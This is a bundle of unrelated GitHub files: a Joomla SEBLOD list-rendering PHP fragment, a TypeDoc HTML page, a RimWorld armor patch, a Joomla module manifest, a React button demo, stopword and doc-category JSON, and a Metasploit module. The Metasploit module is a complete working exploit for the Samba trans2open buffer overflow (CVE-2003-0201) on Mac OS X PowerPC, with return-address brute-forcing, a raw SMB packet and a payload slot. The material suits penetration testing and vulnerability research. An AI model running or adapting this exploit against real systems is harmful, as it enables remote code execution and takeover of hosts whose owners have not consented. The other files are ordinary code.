$dispatcher->trigger( 'onCCK_Field_LivePrepareForm', array( &$field, &$value, &$config ) );
} else {
$value = $field->live_value;
}
}
// Get Persistent Values
if ( $isPersistent && !( $field->variation == 'clear' || $field->variation == 'disabled' || $field->variation == 'hidden' || $field->variation == 'hidden_anonymous' || $field->variation == 'value' ) ) {
if ( $registry->exists( $list_context.'.filter.'.$name ) ) {
$value = $app->getUserState( $list_context.'.filter.'.$name, '' );
}
}
}
// Prepare
if ( !$preconfig['show_form'] && $field->variation != 'clear' ) {
$field->variation = 'hidden';
}
$dispatcher->trigger( 'onCCK_FieldPrepareSearch', array( &$field, $value, &$config, array() ) );
// Stage
if ( (int)$field->stage > 0 ) {
$stages[$field->stage] = 0;
}
if ( $preconfig['show_form'] ) {
$position = $field->position;
$positions[$position][] = $field->name;
}
}
// -------- -------- -------- -------- -------- -------- -------- -------- // Do Search
$config['doSelect'] = $search->content ? false : true;
if ( (int)$app->input->getInt( 'infinite', '0' ) ) {
if ( $app->input->get( 'end', '' ) != '' ) {
$limitend = (int)$app->input->getInt( 'end', '' );
}
}
if ( $config['limitend'] > 0 ) {
$limitend = $config['limitend'];
}
if ( $limitstart != -1 ) {
$start_var = ( $app->isClient( 'administrator' ) || !JFactory::getConfig()->get( 'sef' ) ) ? 'limitstart' : 'start';
$start = (int)$app->input->getInt( $start_var );
if ( $limitstart > 0 && !$start ) {
$isAltered = true;
}
if ( isset( $this ) && isset( $this->state ) && is_object( $this->state ) ) {
if ( $limitend != -1 ) {
$this->state->set( 'limit', (int)$limitend );
}
$limitend = (int)$this->state->get( 'limit' );
}
}
if ( isset( $preconfig['limit'] ) && $preconfig['limit'] ) {
$options->set( 'limit', $preconfig['limit'] );
}
$config['limitend'] = $limitend;
$config['limitstart'] = $limitstart;
if ( $doDebug ) {
jimport( 'joomla.error.profiler' );
$profiler = JProfiler::getInstance();
echo $profiler->mark( 'beforeSearch'.$isCached ).'<br />';
}
if ( $search->storage_location ) {
$config['type_object'] = $search->storage_location;
}
if ( $preconfig['task'] == 'search' ) {
if ( isset( $config['process']['beforeSearch'] ) && count( $config['process']['beforeSearch'] ) ) {
foreach ( $config['process']['beforeSearch'] as $process ) {
if ( $process->type ) {
JCck::callFunc_Array( 'plg'.$process->group.$process->type, 'on'.$process->group.'BeforeSearch', array( $process->params, &$fields, &$config['storages'], &$config ) );
}
}
}
if ( $preconfig['show_form'] ) {
$doc->fields = $fields['search'];
}
$countStages = count( $stages );
if ( $countStages ) {
for( $stage = 1; $stage <= $countStages; $stage++ ) {
if ( ! $error ) {
// Search
$current['stage'] = $stage;
$items = CCK_List::getList( $ordering, $areas, $fields['search'], @$fields['order'], $config, $current, $options, $user );
if ( ! $items && $stages[$stage] == 0 && in_array( $stage, $excluded_stages ) === false ) {
$error = 1;
break;
}
$current['stages'][$stage] = implode( ',', $items );
}
}
}
if ( ! $error ) {
$current['stage'] = 0;
$items = CCK_List::getList( $ordering, $areas, $fields['search'], @$fields['order'], $config, $current, $options, $user );
}
$total = count( $items );
// IDs & PKs
if ( isset( $config['process']['beforeRenderForm'] ) && count( $config['process']['beforeRenderForm'] ) ) {
$ids = '';
$pks = '';
if ( $config['doQuery'] ) {
for ( $i = 0; $i < $total; $i++ ) {
$ids .= (int)$items[$i]->pid.',';
$pks .= (int)$items[$i]->pk.',';
}
$ids = substr( $ids, 0, -1 );
$pks = substr( $pks, 0, -1 );
}
$config['ids'] = $ids;
$config['pks'] = $pks;
}
// Total
if ( isset( $config['total'] ) && $config['total'] > 0 ) {
if ( $isAltered ) {
$config['total'] = ( $config['total'] > $limitstart ) ? $config['total'] - $limitstart : 0;
}
$limitstart = -1;
$limitend = 0;
$total = $config['total'];
} else {
$config['total'] = $total;
}
$total_items = $total;
// Pagination
if ( $config['doPagination'] ) {
if ( $limitstart != -1 && $limitend > 0 && !( $preconfig['limit2'] > 0 ) ) {
$items = array_splice( $items, $limitstart, $limitend );
}
}
// -------- -------- -------- -------- -------- -------- -------- -------- // Do List
if ( $preconfig['show_list'] ) {
$config['infinite'] = $isInfinite;
$target = 'search';
if ( isset( $preconfig['search2'] ) && $preconfig['search2'] != '' ) {
$target = 'search2';
$search2 = CCK_List::getSearch( $preconfig['search2'], $id );
$options2 = new JRegistry;
$options2->loadString( $search2->options );
if ( $options2->get( 'sef' ) != '' ) {
$config['doSEF'] = $options2->get( 'sef' );
}
$search->content = $search2->content;
}
if ( $total ) {
if ( isset( $preconfig['idx'] ) ) {
$config['idx'] = $preconfig['idx'];
if ( !isset( $app->cck_idx ) ) {
$app->cck_idx = array( 0=>false );
}
$app->cck_idx[] = $preconfig['idx'];
}
// Limit2 + Random
if ( $preconfig['limit2'] > 0 ) {
$total = ( $preconfig['limit2'] > $total ) ? $total : $preconfig['limit2'];
if ( $preconfig['ordering2'] == 'random' || $preconfig['ordering2'] == 'random_shuffle' ) {
// Random
$rand_keys = array_rand( $items, $total );
if ( ! is_array( $rand_keys ) ) {
$rand_keys = array( $rand_keys );
}
$rand_list = array();
foreach ( $rand_keys as $key ) {
array_push( $rand_list, $items[$key] );
}
$items = array();
$items = array_merge( $items, $rand_list );
} else {
// Cut
$items = array_splice( $items, 0, $total );
}
} else {
$total = count( $items ); /* TODO#SEBLOD: change above?? */
}
// Suffle
if ( $preconfig['ordering2'] == 'shuffle' || $preconfig['ordering2'] == 'random_shuffle' ) {
shuffle( $items );
}
// Redirect
if ( $total == 1 ) {
if ( $preconfig['auto_redirect'] == 1 ) {
// Content
$return = '';
if ( @$preconfig['auto_redirect_vars'] != '' ) {
$return = $app->input->getString( $preconfig['auto_redirect_vars'], '' );
if ( $return != '' ) {
$return = $preconfig['auto_redirect_vars'].'='.$return;
}
}
$sef = ( JFactory::getConfig()->get( 'sef' ) ) ? $config['doSEF'] : 0;
$redirect_url = JCck::callFunc_Array( 'plgCCK_Storage_Location'.$items[0]->loc, 'getRoute', array( $items[0]->pk, $sef, $config['Itemid'] ) );
if ( $return != '' ) {
$return = ( strpos( $redirect_url, '?' ) !== false ) ? '&'.$return : '?'.$return;
$redirect_url .= $return;
}
$app->redirect( $redirect_url );
return;
} elseif ( $preconfig['auto_redirect'] == 2 ) {
// Form
$return = '';
if ( @$preconfig['auto_redirect_vars'] != '' ) {
$variables = explode( ',', $preconfig['auto_redirect_vars'] );
foreach ( $variables as $variable ) {
if ( $variable != '' ) {
$result = $app->input->getString( $variable, '' );
if ( $result != '' ) {
$return .= '&'.$variable.'='.$result;
}
}
}
}
$return .= '&return='.base64_encode( $_SERVER["HTTP_REFERER"] );
$redirect_url = JRoute::_( 'index.php?option=com_cck&view=form&layout=edit&type='.$items[0]->cck.'&id='.$items[0]->pk.'&Itemid='.$config['Itemid'].$return, false );
$app->redirect( $redirect_url );
return;
}
}
// Render
$doCache2 = $options->get( 'cache2' );
if ( $doCache2 ) {
$group = ( $doCache2 == '2' ) ? 'com_cck_'.$config['type_alias'].'_list' : 'com_cck';
$cache = JFactory::getCache( $group );
$cache->setCaching( 1 );
$data = $cache->call( array( 'CCK_List', 'render' ), $items, ${$target}, $path, $preconfig['client'], $config['Itemid'], $options, $config );
$isCached = ' [Cache=ON]';
} else {
if ( ${$target}->content > 0 ) {
$data = CCK_List::render( $items, ${$target}, $path, $preconfig['client'], $config['Itemid'], $options, $config );
}
$isCached = ' [Cache=OFF]';
}
if ( is_array( $data ) ) {
if ( count( $data['config'] ) ) {
foreach ( $data['config'] as $k=>$v ) {
$config[$k] = $v;
}
}
$data = $data['buffer'];
}
} else {
$no_action = $options->get( 'action', '' );
$no_message = $options->get( 'message', '' );
$no_style = $options->get( 'message_style', 'message' );
if ( ! $no_message ) {
$no_message = JText::_( 'COM_CCK_NO_RESULT' );
} else {
if ( JCck::getConfig_Param( 'language_jtext', 0 ) ) {
$no_message = JText::_( 'COM_CCK_' . str_replace( ' ', '_', trim( $no_message ) ) );
}
}
if ( $no_style ) {
if ( $no_style == '-1' ) {
$data = $no_message;
} else {
$app->enqueueMessage( $no_message, $no_style );
}
}
}
}
} else {
$no_action = $options->get( 'action_no_search', '' );
$no_message = $options->get( 'message_no_search', '' );
$no_style = $options->get( 'message_style_no_search', '0' );
if ( ! $no_message ) {
$no_message = JText::_( 'COM_CCK_NO_SEARCH' );
} else {
if ( JCck::getConfig_Param( 'language_jtext', 0 ) ) {
$no_message = JText::_( 'COM_CCK_' . str_replace( ' ', '_', trim( $no_message ) ) );
}
}
if ( $no_style ) {
if ( $no_style == '-1' ) {
$data = $no_message;
} else {
$app->enqueueMessage( $no_message, $no_style );
}
}
}
if ( $no_action ) {
$config['infinite'] = $isInfinite;
$target = 'search';
if ( isset( $preconfig['search2'] ) && $preconfig['search2'] != '' ) {
$target = 'search2';
$search2 = CCK_List::getSearch( $preconfig['search2'], $id );
$options2 = new JRegistry;
$options2->loadString( $search2->options );
if ( $options2->get( 'sef' ) != '' ) {
$config['doSEF'] = $options2->get( 'sef' );
}
$search->content = $search2->content;
}
if ( $no_action == 'auto_redirect' ) {
/* TODO#SEBLOD: is this even possible? */
if ( isset( $fields['search']['cck'] ) && !$fields['search']['cck']->live && $fields['search']['cck']->live_value ) {
$return = base64_encode( $_SERVER["HTTP_REFERER"] );
$redirect_url = JRoute::_( 'index.php?option=com_cck&view=form&layout=edit&type='.$fields['search']['cck']->live_value.'&Itemid='.$config['Itemid'].'&return='.$return );
$app->redirect( $redirect_url );
}
return;
} elseif ( $no_action == 'file' ) {
$templateStyle2 = CCK_List::getTemplateStyle( ${$target}->template_list, array( 'rendering_css_core'=>${$target}->stylesheets ) );
$file1 = JPATH_SITE.'/templates/'.$templateStyle2->name.'/includes/'.${$target}->name.'/no_result.php';
$file2 = JPATH_SITE.'/templates/'.$templateStyle2->name.'/includes/no_result.php';
if ( file_exists( $file1 ) ) {
$file = $file1;
} elseif ( file_exists( $file2 ) ) {
$file = $file2;
} else {
$file = '';
}
if ( $file && is_file( $file ) ) {
ob_start();
include $file;
$data = ob_get_clean();
}
} else {
$data = CCK_List::render( $items, ${$target}, $path, $preconfig['client'], $config['Itemid'], $options, $config );
if ( count( $data['config'] ) ) {
foreach ( $data['config'] as $k=>$v ) {
$config[$k] = $v;
}
}
$data = $data['buffer'];
}
}
if ( $doDebug > 0 && ( $preconfig['task'] == 'search' || $no_action ) ) {
echo $profiler->mark( 'afterRender'.$isCached ).'<br /><br />';
}
// Ajax Wrapper
if ( $isInfinite && $app->input->get( 'wrapper' ) ) {
$data = json_encode( array(
'count'=>(int)$total,
'html'=>$data,
'total'=>(int)$config['total']
), JSON_HEX_QUOT | JSON_HEX_TAG );
}
if ( $preconfig['show_form'] > 0 ) {
// BeforeRender
if ( isset( $config['process']['beforeRenderForm'] ) && count( $config['process']['beforeRenderForm'] ) ) {
foreach ( $config['process']['beforeRenderForm'] as $process ) {
if ( $process->type ) {
JCck::callFunc_Array( 'plg'.$process->group.$process->type, 'on'.$process->group.'beforeRenderForm', array( $process->params, &$fields['search'], &$config['storages'], &$config ) );
}
}
}
$doc->fields = &$fields['search'];
$infos = array( 'context'=>'', 'params'=>$templateStyle->params, 'path'=>$path, 'root'=>JUri::root( true ), 'template'=>$templateStyle->name, 'theme'=>$tpl['home'] );
$doc->finalize( 'form', $search->name, $config['client'], $positions, $positions_more, $infos );
$form = $doc->render( false, $rparams );
} elseif ( $preconfig['show_form'] && $preconfig['task'] != 'search' ) {
$doc->fields = &$fields['search'];
}
// Validation
$config['validation'] = ( count( $config['validation'] ) ) ? implode( ',', $config['validation'] ) : '';
$config['validation_options'] =& $options;
?>
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html class="default no-js">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>"queryable/queryable" | smoke-node</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="../assets/css/main.css">
</head>
<body>
<header>
<div class="tsd-page-toolbar">
<div class="container">
<div class="table-wrap">
<div class="table-cell" id="tsd-search" data-index="../assets/js/search.js" data-base="..">
<div class="field">
<label for="tsd-search-field" class="tsd-widget search no-caption">Search</label>
<input id="tsd-search-field" type="text" />
</div>
<ul class="results">
<li class="state loading">Preparing search index...</li>
<li class="state failure">The search index is not available</li>
</ul>
<a href="../index.html" class="title">smoke-node</a>
</div>
<div class="table-cell" id="tsd-widgets">
<div id="tsd-filter">
<a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a>
<div class="tsd-filter-group">
<div class="tsd-select" id="tsd-filter-visibility">
<span class="tsd-select-label">All</span>
<ul class="tsd-select-list">
<li data-value="public">Public</li>
<li data-value="protected">Public/Protected</li>
<li data-value="private" class="selected">All</li>
</ul>
</div>
<input type="checkbox" id="tsd-filter-inherited" checked />
<label class="tsd-widget" for="tsd-filter-inherited">Inherited</label>
<input type="checkbox" id="tsd-filter-externals" checked />
<label class="tsd-widget" for="tsd-filter-externals">Externals</label>
<input type="checkbox" id="tsd-filter-only-exported" />
<label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label>
</div>
</div>
<a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a>
</div>
</div>
</div>
</div>
<div class="tsd-page-title">
<div class="container">
<ul class="tsd-breadcrumb">
<li>
<a href="../globals.html">Globals</a>
</li>
<li>
<a href="_queryable_queryable_.html">"queryable/queryable"</a>
</li>
</ul>
<h1>External module "queryable/queryable"</h1>
</div>
</div>
</header>
<div class="container container-main">
<div class="row">
<div class="col-8 col-content">
<section class="tsd-panel-group tsd-index-group">
<h2>Index</h2>
<section class="tsd-panel tsd-index-panel">
<div class="tsd-index-content">
<section class="tsd-index-section tsd-is-external">
<h3>Classes</h3>
<ul class="tsd-index-list">
<li class="tsd-kind-class tsd-parent-kind-external-module tsd-has-type-parameter tsd-is-external"><a href="../classes/_queryable_queryable_.queryable.html" class="tsd-kind-icon">Queryable</a></li>
</ul>
</section>
</div>
</section>
</section>
</div>
<div class="col-4 col-menu menu-sticky-wrap menu-highlight">
<nav class="tsd-navigation primary">
<ul>
<li class="globals ">
<a href="../globals.html"><em>Globals</em></a>
</li>
<li class="current tsd-kind-external-module tsd-is-external">
<a href="_queryable_queryable_.html">"queryable/queryable"</a>
</li>
</ul>
</nav>
<nav class="tsd-navigation secondary menu-sticky">
<ul class="before-current">
<li class=" tsd-kind-class tsd-parent-kind-external-module tsd-has-type-parameter tsd-is-external">
<a href="../classes/_queryable_queryable_.queryable.html" class="tsd-kind-icon">Queryable</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<footer class="with-border-bottom">
<div class="container">
<h2>Legend</h2>
<div class="tsd-legend-group">
<ul class="tsd-legend">
<li class="tsd-kind-module"><span class="tsd-kind-icon">Module</span></li>
<li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li>
<li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li>
<li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li>
<li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li>
<li class="tsd-kind-index-signature"><span class="tsd-kind-icon">Index signature</span></li>
<li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li>
</ul>
<ul class="tsd-legend">
<li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li>
<li class="tsd-kind-enum-member"><span class="tsd-kind-icon">Enumeration member</span></li>
<li class="tsd-kind-property tsd-parent-kind-enum"><span class="tsd-kind-icon">Property</span></li>
<li class="tsd-kind-method tsd-parent-kind-enum"><span class="tsd-kind-icon">Method</span></li>
</ul>
<ul class="tsd-legend">
<li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li>
<li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li>
<li class="tsd-kind-constructor tsd-parent-kind-interface"><span class="tsd-kind-icon">Constructor</span></li>
<li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li>
<li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li>
<li class="tsd-kind-index-signature tsd-parent-kind-interface"><span class="tsd-kind-icon">Index signature</span></li>
</ul>
<ul class="tsd-legend">
<li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li>
<li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li>
<li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li>
<li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li>
<li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li>
<li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li>
<li class="tsd-kind-index-signature tsd-parent-kind-class"><span class="tsd-kind-icon">Index signature</span></li>
</ul>
<ul class="tsd-legend">
<li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited constructor</span></li>
<li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li>
<li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li>
<li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited accessor</span></li>
</ul>
<ul class="tsd-legend">
<li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li>
<li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li>
<li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected accessor</span></li>
</ul>
<ul class="tsd-legend">
<li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li>
<li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li>
<li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private accessor</span></li>
</ul>
<ul class="tsd-legend">
<li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li>
<li class="tsd-kind-call-signature tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li>
</ul>
</div>
</div>
</footer>
<div class="container tsd-generator">
<p>Generated using <a href="http://typedoc.org/" target="_blank">TypeDoc</a></p>
</div>
<div class="overlay"></div>
<script src="../assets/js/main.js"></script>
<script>if (location.protocol == 'file:') document.write('<script src="../assets/js/search.js"><' + '/script>');</script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8" ?>
<Patch>
<Operation Class="PatchOperationFindMod">
<mods>
<li>Glitter Tech</li>
<li>Glitter Tech (No Surgery)</li>
</mods>
<match Class="PatchOperationSequence">
<operations>
<!-- ========== Orion Combat vest ========== -->
<li Class="PatchOperationAdd">
<xpath>Defs/ThingDef[defName="Apparel_OCCombatVest"]/statBases</xpath>
<value>
<Bulk>5</Bulk>
<WornBulk>1</WornBulk>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/ThingDef[defName="Apparel_OCCombatVest"]/statBases/ArmorRating_Blunt</xpath>
<value>
<ArmorRating_Blunt>30</ArmorRating_Blunt>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/ThingDef[defName="Apparel_OCCombatVest"]/statBases/ArmorRating_Sharp</xpath>
<value>
<ArmorRating_Sharp>16</ArmorRating_Sharp>
</value>
</li>
<!-- ========== Orion Corporation helmet ========== -->
<li Class="PatchOperationAdd">
<xpath>Defs/ThingDef[defName="Apparel_OCHelmet"]/statBases</xpath>
<value>
<Bulk>4</Bulk>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/ThingDef[defName="Apparel_OCHelmet"]/statBases/ArmorRating_Blunt</xpath>
<value>
<ArmorRating_Blunt>22</ArmorRating_Blunt>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/ThingDef[defName="Apparel_OCHelmet"]/statBases/ArmorRating_Sharp</xpath>
<value>
<ArmorRating_Sharp>10</ArmorRating_Sharp>
</value>
</li>
<!-- ========== Orion Unfiorm Shirt and pants ========== -->
<li Class="PatchOperationReplace">
<xpath>Defs/ThingDef[
defName="Apparel_OCShirt" or
defName="Apparel_OCPants"
]/statBases/ArmorRating_Sharp</xpath>
<value>
<ArmorRating_Sharp>0.05</ArmorRating_Sharp>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/ThingDef[
defName="Apparel_OCShirt" or
defName="Apparel_OCPants"
]/statBases/ArmorRating_Blunt</xpath>
<value>
<ArmorRating_Blunt>0.075</ArmorRating_Blunt>
</value>
</li>
</operations>
</match>
</Operation>
</Patch>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="administrator" method="upgrade">
<name>mod_quickicon</name>
<author>Joomla! Project</author>
<creationDate>Nov 2005</creationDate>
<copyright>Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<version>3.0.0</version>
<description>MOD_QUICKICON_XML_DESCRIPTION</description>
<files>
<filename module="mod_quickicon">mod_quickicon.php</filename>
<folder>tmpl</folder>
<filename>helper.php</filename>
</files>
<languages>
<language tag="en-GB">en-GB.mod_quickicon.ini</language>
<language tag="en-GB">en-GB.mod_quickicon.sys.ini</language>
</languages>
<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON" />
<config>
<fields name="params">
<fieldset name="basic">
<field name="context"
type="text"
default="mod_quickicon"
description="MOD_QUICKICON_GROUP_DESC"
label="MOD_QUICKICON_GROUP_LABEL"
/>
</fieldset>
<fieldset name="advanced">
<field
name="layout"
type="modulelayout"
label="JFIELD_ALT_LAYOUT_LABEL"
description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
<field
name="moduleclass_sfx"
type="textarea" rows="3"
label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
<field
name="cache"
type="list"
default="1"
label="COM_MODULES_FIELD_CACHING_LABEL"
description="COM_MODULES_FIELD_CACHING_DESC">
<option
value="1">JGLOBAL_USE_GLOBAL</option>
<option
value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
</field>
<field
name="cache_time"
type="text"
default="900"
label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
</fieldset>
</fields>
</config>
</extension>
|
{
"pile_set_name": "Github"
}
|
/* eslint-disable jsx-a11y/click-events-have-key-events */
/**
* External dependencies
*/
import React from 'react';
import PureRenderMixin from 'react-pure-render/mixin';
import createReactClass from 'create-react-class';
/**
* Internal dependencies
*/
import ButtonGroup from 'components/button-group';
import Button from 'components/button';
import Card from 'components/card';
import Gridicon from 'components/gridicon';
const Buttons = createReactClass( {
displayName: 'ButtonGroup',
mixins: [ PureRenderMixin ],
getInitialState: function () {
return {
compact: false,
};
},
toggleButtons: function () {
this.setState( { compact: ! this.state.compact } );
},
render: function () {
return (
<div>
<a
className="docs__design-toggle button"
role="button"
tabIndex={ 0 }
onClick={ this.toggleButtons }
>
{ this.state.compact ? 'Normal Buttons' : 'Compact Buttons' }
</a>
<Card>
<div className="docs__design-button-row">
<ButtonGroup>
<Button compact={ this.state.compact }>Do thing</Button>
<Button compact={ this.state.compact }>Do another thing</Button>
</ButtonGroup>
</div>
<div className="docs__design-button-row">
<ButtonGroup>
<Button compact={ this.state.compact }>Button one</Button>
<Button compact={ this.state.compact }>Button two</Button>
<Button compact={ this.state.compact } scary>
Button Three
</Button>
</ButtonGroup>
</div>
<div className="docs__design-button-row">
<ButtonGroup>
<Button compact={ this.state.compact }>
<Gridicon icon="add-image" />
</Button>
<Button compact={ this.state.compact }>
<Gridicon icon="heart" />
</Button>
<Button compact={ this.state.compact }>
<Gridicon icon="briefcase" />
</Button>
<Button compact={ this.state.compact }>
<Gridicon icon="history" />
</Button>
</ButtonGroup>
</div>
<div className="docs__design-button-row">
<ButtonGroup>
<Button primary compact={ this.state.compact }>
Publish
</Button>
<Button primary compact={ this.state.compact }>
<Gridicon icon="calendar" />
</Button>
</ButtonGroup>
</div>
</Card>
</div>
);
},
} );
export default Buttons;
|
{
"pile_set_name": "Github"
}
|
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba trans2open Overflow (Mac OS X)',
'Description' => %q{
This exploits the buffer overflow found in Samba versions
2.2.0 to 2.2.8. This particular module is capable of
exploiting the bug on Mac OS X PowerPC systems.
},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0201'],
[ 'OSVDB', '4469'],
[ 'BID', '7294'],
[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'MinNops' => 512,
},
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Targets' =>
[
['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ],
],
'DisclosureDate' => 'Apr 7 2003',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(139)
], self.class)
end
# Need to perform target detection
def autofilter
false
end
def exploit
curr_ret = target['Rets'][0]
while (curr_ret >= target['Rets'][1])
break if session_created?
begin
print_status("Trying return address 0x%.8x..." % curr_ret)
connect
smb_login
# 1988 is required for findrecv shellcode
pattern = rand_text_english(1988)
# This stream covers the framepointer and the return address
pattern[1195, 64] = [curr_ret].pack('N') * 16
# Stuff the shellcode into the request
pattern[3, payload.encoded.length] = payload.encoded
trans =
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
pattern
sock.put(trans)
handler
disconnect
rescue EOFError
rescue => e
print_status("Caught exception: #{e}")
break
end
curr_ret -= target['Rets'][2]
end
end
end
|
{
"pile_set_name": "Github"
}
|
[
"a",
"able",
"about",
"across",
"after",
"all",
"almost",
"also",
"am",
"among",
"an",
"and",
"any",
"are",
"as",
"at",
"be",
"because",
"been",
"but",
"by",
"can",
"cannot",
"could",
"dear",
"did",
"do",
"does",
"either",
"else",
"ever",
"every",
"for",
"from",
"get",
"got",
"had",
"has",
"have",
"he",
"her",
"hers",
"him",
"his",
"how",
"however",
"i",
"if",
"in",
"into",
"is",
"it",
"its",
"just",
"least",
"let",
"like",
"likely",
"may",
"me",
"might",
"most",
"must",
"my",
"neither",
"no",
"nor",
"not",
"of",
"off",
"often",
"on",
"only",
"or",
"other",
"our",
"own",
"rather",
"said",
"say",
"says",
"she",
"should",
"since",
"so",
"some",
"than",
"that",
"the",
"their",
"them",
"then",
"there",
"these",
"they",
"this",
"tis",
"to",
"too",
"twas",
"us",
"wants",
"was",
"we",
"were",
"what",
"when",
"where",
"which",
"while",
"who",
"whom",
"why",
"will",
"with",
"would",
"yet",
"you",
"your"
]
|
{
"pile_set_name": "Github"
}
|
[
{
"name": "General",
"groups": [
{
"name": "Instance",
"classes": ["smw"]
}
]
},
{
"name": "DataModel",
"groups": [
{
"name": "Factory",
"classes": [
"smw.Data"
]
},
{
"name": "General",
"classes": [
"smw.dataItem*",
"smw.dataValue*"
]
}
]
},
{
"name": "Api",
"groups": [
{
"name": "General",
"classes": ["smw.Api*"]
},
{
"name": "Query",
"classes": ["smw.Query*"]
}
]
},
{
"name": "Utilities",
"groups": [
{
"name": "General",
"classes": ["smw.util*"]
},
{
"name": "Support",
"classes": ["smw.setting*","smw.async*"]
},
{
"name": "Formats",
"classes": ["smw.formats*"]
}
]
},
{
"name": "Test",
"groups": [
{
"name": "QUnit",
"classes": ["QUnit", "QUnit.assert"]
}
]
},
{
"name": "Upstream",
"groups": [
{
"name": "jQuery",
"classes": ["jQuery", "jQuery.Event", "jQuery.Promise", "jQuery.Deferred", "jQuery.jqXHR", "QUnit"]
},
{
"name": "JavaScript",
"classes": [
"Array", "Boolean", "Date", "Function", "Number", "Object", "RegExp", "String"
]
}
]
}
]
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.